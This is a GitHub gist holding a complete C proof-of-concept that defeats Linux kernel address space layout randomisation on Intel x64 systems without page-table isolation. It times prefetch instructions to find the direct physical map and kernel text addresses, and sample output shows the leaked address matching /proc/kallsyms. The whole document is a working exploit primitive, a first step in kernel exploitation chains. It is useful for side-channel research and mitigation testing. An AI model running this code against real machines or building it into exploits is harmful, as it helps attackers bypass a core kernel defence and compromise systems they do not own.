Skip to content

Instantly share code, notes, and snippets.

@worawit
Created January 22, 2018 04:02
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save worawit/1e06670dbbf202df0e555b12fc7d4766 to your computer and use it in GitHub Desktop.
Save worawit/1e06670dbbf202df0e555b12fc7d4766 to your computer and use it in GitHub Desktop.
/*
This PoC is based on http://www.immunityinc.com/downloads/x86leaks_old.pdf
The PoC finds direct physical map and kernel text address in Linux kernel without PTI on Intel x64.
The PoC might not work correctly in VM. For example, this PoC cannot find correct direct physical map
address in KVM. The reason is in https://www.kernel.org/doc/Documentation/virtual/kvm/mmu.txt
$ ./break_linux_kaslr_nopti
timing for invalid page: 299028
timing for valid page: 10060
limit time threshold for valid page: 25150
valid addr: 0xffff94cc00000000 time: 1978
valid addr: 0xffff94cbc0000000 time: 2112
[-] 0xffff94cbbfe00000
[+] Direct physical map addr: 0xffff94cbc0000000
valid addr: 0xffffffffb1000000 time: 1748
valid addr: 0xffffffffb0800000 time: 1798
valid addr: 0xffffffffb0400000 time: 1744
valid addr: 0xffffffffb0200000 time: 1772
[+] Kernel code addr: 0xffffffffb0200000
$ sudo grep 'T _text' /proc/kallsyms
ffffffffb0200000 T _text
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sched.h>
#include <x86intrin.h>
static uint32_t time_threshold;
static uint32_t __attribute__((noinline)) do_timing(uintptr_t addr)
{
uint32_t t1, t2;
t1 = __rdtsc();
for (uint32_t i = 2000; i > 0; i--) {
_mm_prefetch((void*) addr, _MM_HINT_T0);
}
t2 = __rdtsc();
return t2 - t1;
}
static size_t find_valid_addr(uintptr_t addr_start, uintptr_t addr_end, size_t step, size_t min_step)
{
int progress = 0;
uintptr_t last_valid_addr = -1;
if (min_step == 0)
min_step = 0x1000;
uintptr_t addr = addr_start;
while (addr < addr_end) {
printf("\r\x1b[34;1m[%c]\x1b[0m 0x%zx ", "/-\\|"[(progress++ / 100) % 4], addr);
uint32_t res = do_timing(addr);
if (res < time_threshold) {
printf("\rvalid addr: 0x%lx time: %u\n", addr, res);
last_valid_addr = addr;
if (step == min_step || addr == addr_start)
break;
step >>= 1;
addr -= step;
} else {
addr += step;
// should never be greater than. can be only equal
if (addr >= last_valid_addr) {
// this address is tested
if (step == min_step)
break;
step >>= 1;
addr -= step;
}
}
}
return last_valid_addr;
}
int main(int argc, char *argv[])
{
// for reliability
// - should do_timing a few time to determine time_threshold
// - should have grey range for re-timing
time_threshold = do_timing((uintptr_t)&main - 0x2000);
printf("timing for invalid page: %u\n", time_threshold);
time_threshold = do_timing((uintptr_t)&time_threshold);
printf("timing for valid page: %u\n", time_threshold);
time_threshold *= 2.5;
printf("limit time threshold for valid page: %u\n", time_threshold);
// 0x200000 (2MB)
uint64_t phys_addr = find_valid_addr(0xffff880000000000, 0xffffc90000000000, 0x80000000, 0x200000);
if (phys_addr != -1) {
printf("\n\x1b[32;1m[+]\x1b[0m Direct physical map addr: \x1b[33;1m0x%zx\x1b[0m\n", phys_addr);
}
else {
printf("\n\x1b[31;1m[-]\x1b[0m Not found direct physical map address.\n");
}
uint64_t kern_text_addr = find_valid_addr(0xffffffff80000000, 0xfffffffff0000000, 0x1000000, 0x200000);
if (kern_text_addr != -1) {
printf("\n\x1b[32;1m[+]\x1b[0m Kernel code addr: \x1b[33;1m0x%zx\x1b[0m\n", kern_text_addr);
}
else {
printf("\n\x1b[31;1m[-]\x1b[0m Not found kernel code address.\n");
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment